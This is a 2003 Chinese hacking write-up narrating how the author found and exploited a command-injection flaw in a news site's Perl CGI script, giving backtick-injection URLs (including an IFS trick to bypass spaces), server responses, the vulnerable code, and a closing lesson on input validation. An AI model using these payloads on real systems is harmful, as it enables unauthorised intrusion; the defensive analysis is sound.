网页功能: 加入收藏 设为首页 网站搜索  
一个CGI漏洞的发现和利用
发表日期:2003-08-13作者:stardust[] 出处:  

声明:写这个贴子的目地不是怂恿搞破坏,只是想说明一个

问题,有谁用贴子提供的信息干了什么坏事,那完全是他自

己的事,与本人无关!

前几天在国内的某个169节点读新闻,这个站点顶部的一

排分类新闻的链接引起了我的注意,这些链接都指向一个

叫sub.pl的CGI,只是它们后面跟的参数不同:国内新闻的

是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi

诸如此类...跟一般的CGI程序不同,sub.pl后跟的不是通常

的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定

个参数给它:

http://victim.net/cgi-bin/home/news/sub.pl?12

不出所料,CGI运行出错了:

/home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录

这个CGI真是太老实了,它至少告诉了我们两件事情:一 CGI目录

的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中

作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的

参数说不定有更大的发现,经过N次的试验,得到的出错信息大同

小异,值到第N+1次请求:

http://victim.net/cgi-bin/home/news/sub.pl?&

服务器的返回信息有些不一样了:

sh: /WS_FTP95.exe: 不能执行

注意到了前面的"sh:"了吗?哈!,熟悉UNIX的朋友应该知道,这可是

只有在shell试图运行某个程序出错时才会出现的错误信息.看起

来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去

进一步的影响它呢?反引号"`",绝对是值得一试的:

http://victim.net/cgi-bin/home/news/sub.pl?`ls`

服务器返回了奇怪的信息:

/home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录

"315"是什么东西?

再试:

http://victim.net/cgi-bin/home/news/sub.pl?`id`

这次返回的信息令我大吃一惊:

/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(netsite)/*.*: 无此文件或目?

很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚

才的ls命令也肯定运行了,"315"一定是当前CGI目录下的子目录.

让我们来列一下服务器根目录吧:

http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`

没成功:

sh: ls%20/: 没找到

看来,sub.pl没有把"%20"解码成空格的习惯 :( 如何绕过这个限制

呢?相信你现在也已经想到了,还得靠我们的IFS变量, 用它来指定

shell分界符.试一下:

http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`

服务器的回应:

/home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net: 无此文件或目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目录 sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录

成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿

到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl

瞎子摸象式的攻击已经给了我足够的乐趣. :) 当然我还有兴趣看

看问题到底出在哪,把sub.pl弄下来看看:

当然这还得靠sub.pl :)

http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/news/sub.pl'`

输出结果太乱,就不列在这儿了.

经过整理后的sub.pl中的片断:

#!/usr/gnu/bin/perl

require "common.pl";

#($type) = split(//,$ENV{'QUERY_STRING'});

$type1=$ENV{'QUERY_STRING'};

$tdbg="#FF9900";

&parse_form;

if ($FORM{'command'} eq 'search'){

#if ($FORM{'newstype'} ne 'newstype'){ $type1=$FORM{'newstype'};}

#}

if ($type1 eq"so") {$tdbg="#0099CC";}

if ($type1 eq"in") {$tdbg="#71B8FF";}

if ($type1 eq"fu") {$tdbg="#CE9ECD";}

if ($type1 eq"sp") {$tdbg="#CCCCFF";}

if ($type1 eq"te") {$tdbg="#FF91FC";}

if ($type1 eq"fi") {$tdbg="#ffb3b3";}

if ($type1 eq"it") {$tdbg="#FFDE01";}

if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") || &error("Unable to open $cgipath/$pwd");

@main1= <FILE>; close (FILE); foreach $line1(@main1)

{

chop($line1);

($type2,$name1)=split(//,$line1);

if ($type2 eq $type1) {$name=$name1;}

}

$sublog=$$type1;

print "Content-type text/html \n\n";

if ($FORM{'command'} eq 'searchdate'){

$sublog="$type1/$FORM{'mmdd'}.txt";}

open(FILE,"$path_log/$sublog") || die("Unable to write to $path_log/$file");

@main = <FILE>;

close(FILE);

#&newshead($name,"1");

.

.

.

.

.

$data_path1="$data_path/$type1";

$search_data = `ls $data_path1/*.*`; <--------看来,就是死在这了 :)

$search_data =~ s/$data_path1|\.txt|\///g;

.

.

.

.

.

结论:对于编写很差的CGI程序,通过封闭源码的办法很多时候并不能躲过被

黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应

猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至

少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3.

没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵

的难度.还想说的是,国内外通过CGI漏洞入侵的例子并不少见,据说,ADM就是

利用第三方的CGI程序的漏洞黑了著名的hack站点anticode,Antionline变成了

ADMonline :).

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 一个CGI漏洞的发现和利用
本类热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网站(janker...
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计算机
  如何利用终端服务入侵远程计算机
  “流光异彩”话小榕
  一次入侵过程
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00671